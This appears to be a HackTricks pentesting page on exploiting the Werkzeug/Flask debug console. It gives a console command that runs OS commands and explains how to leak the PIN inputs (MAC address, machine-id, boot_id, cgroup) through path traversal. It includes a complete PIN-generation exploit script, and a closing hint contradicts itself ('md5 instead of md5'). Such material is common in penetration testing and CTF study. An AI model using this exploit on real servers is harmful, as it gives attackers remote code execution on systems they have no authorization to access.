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hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

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Werkzeug / Flask Debug

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Console RCE

If debug is active you could try to access to /console and gain RCE.

__import__('os').popen('whoami').read();

There is also several exploits on the internet like this or one in metasploit.

Pin Protected - Path Traversal

In some occasions the /console endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.

Werkzeug Console PIN Exploit

Copied from the first link.
See Werkzeug “console locked” message by forcing debug error page in the app.

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number.

You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py file on server e.g. python3.5/site-packages/werkzeug/debug/__init__.py. You can view Werkzeug source code repo to check how the PIN is generated, but better to leak source code through file traversal vulnerability since versions likely differ.

Variables needed to exploit the console PIN:

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

probably_public_bits

  • username is the user who started this Flask
  • modname is flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) is Flask
  • getattr(mod, '__file__', None) is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc

private_bits

  • uuid.getnode() is the MAC address of the current computer, str(uuid.getnode()) is the decimal expression of the mac address.

    • To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.

    Convert from hex address to decimal representation by running in python e.g.:

    # It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692

  • get_machine_id() concatenate the **values in /etc/machine-id ** , /proc/sys/kernel/random/boot_id and first line of /proc/self/cgroup after the last slash (/).

get_machine_id() code 
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:                                                                                                  
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:

Once all variables prepared, run exploit script to generate Werkzeug console PIN:

import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

{% hint style="success" %} If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of md5. {% endhint %}

References

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